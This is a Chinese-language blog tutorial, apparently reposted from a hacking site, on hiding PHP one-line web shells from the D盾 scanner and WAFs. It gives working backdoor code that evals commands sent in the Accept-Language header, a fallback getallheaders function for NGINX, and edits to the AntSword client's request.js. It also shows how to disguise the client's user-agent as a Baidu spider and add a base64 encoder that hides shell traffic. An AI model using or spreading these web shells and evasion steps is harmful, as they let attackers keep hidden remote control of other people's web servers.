A-A+

中国蚁剑AntSword过狗 自写编码器,轻松过waf

2019年01月25日 14:31 汪洋大海 暂无评论 阅读 34 views 次

1,过狗PHP一句话

现在的防护软件,对GET和POST检查很严格
用php混淆,编写function,定义class来绕过这些防护软件,熟悉php的人对绕过这些软件还是比较容易的。
我们这里就不多说明了,
我们先来了解一下PHP的超全局变量
Lily_Screenshot_1545323386.png
这些里面有一些是我们可控的,那么我们可以利用里面任意一个可控的去发送数据,别老盯着POST,GET。

我们这里就随便选用一个
@eval($_SERVER['HTTP_ACCEPT_LANGUAGE']);

我们用浏览器语言来发送执行代码
但是很可惜被D盾杀了
Lily_Screenshot_1545323637.png

这里我想到另外一个获取HTTP头信息的函数
getallheaders()
但是这个函数只能在Apache+PHP环境下使用
NGINX下是不支持这个函数的
先不管那么多,试试看
@eval(getallheaders()['Accept-Language']);

成功躲过了D盾查杀
Lily_Screenshot_1545323927.png

这个代码还是比较短小精悍的.
但是使用起来不方便,要自己每次修改浏览器language去执行shell,还不能对NGINX使用。
我们来继续解决这两个用户“痛点”

2.改造中国蚁剑/AntSword

先来解决NGINX不支持的问题
我们自己写个function吧

<?php
    
if (!function_exists('getallheaders')) {
function getallheaders() {
 $headers = array();
foreach ($_SERVER as $name => $value) {
  if (substr($name, 0, 5) == 'HTTP_') {
 $headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5)))))] = $value;
                                    }    }
                                                    return $headers;
                       }
                                    }

@eval(getallheaders()['Accept-Language']);
?>
PHP

D盾还是不杀的
Lily_Screenshot_1545324326.png

接下来解决第二个用户痛点
我们来修改下中国蚁剑AntSword
让它能控制上面这个shell
中国蚁剑AntSword要修改下user-agent

要注意的是
软件默认的user-agent是
User-Agent: antSword/v2.0
大部分人都不会去自定义useragent
这就给waf和蜜罐白送了一个特征
所以我们要修改一下源代码
修改项目内
antSword-2.0.2\modules\request.js (17行一处)
antSword-2.0.2\modules\update.js (两处)

Baiduspider-image
我改成列百度图片蜘蛛

这次我们还是修改request.js
这是AntSword的发包核心模块
我们找到

const _postData = Object.assign({}, opts.body, opts.data);
    _request
JavaScript

在这两行中间插入一句
_request.set('Accept-Language',_postData[1]);
_postData[1]是软件发送的执行代码
注意:我们shell的配置信息密码也要写1

变成

const _postData = Object.assign({}, opts.body, opts.data);
    _request.set('Accept-Language',_postData[1]); 
    _request
JavaScript

重启AntSword

我们编辑下shell,密码要是1,为了更好的过WAF
我们把编码模式也改成chr
Lily_Screenshot_1545324915.png

我们先关闭一句话,来记录下文件,看看shell收到的内容
Lily_Screenshot_1545325080.png

在AntSword里面双击shell,再看看记录的txt
Lily_Screenshot_1545325287.png

!!!分割的,上面是post的内容,下面是language的内容
我们发现是一样的了,说明程序发了两份代码,一份在language内,还是会发一份post给shell
这样有个好处,就是post的一句话也照样执行。

我们打开shell来看看
发现可以了,再头部language里面执行一句话,也可以用软件来控制了
Lily_Screenshot_1545325526.png

来试试虚拟终端,也ok
Lily_Screenshot_1545326590.png

 

Jietu20181229-083636.jpg

 

自带的编码器没有完全隐藏掉特征,自带的只是为了传统的标准的一句话shell写的,所以编码后还是有一个eval去解码。
比如下图,用自带的base64
Jietu20181229-085420.jpg

我们只要稍加改良一下一句话就可以隐藏post特征了

比如我们php客户端
(只要在执行eval前base64decode一下post来的数据)
@eval($_POST['code']);
改成
@eval(base64_decode($_ POST['code']));

AntSword 内添加编码器
比如添加一个base64-self
Jietu20181229-091215.jpg
会自带有一个base64的案例
(就是系统自带的base64编码器)
都注释掉,加一个红圈内的代码。
Jietu20181229-091952.jpg
再来看看发包,怎么样,是不是根本看不出来这是一个shell要执行的代码?
Jietu20181229-092030.jpg

文章来源:https://www.3hack.com/tools/54.html

作者:y35u

 

布施恩德可便相知重

微信扫一扫打赏

支付宝扫一扫打赏

×
标签:

给我留言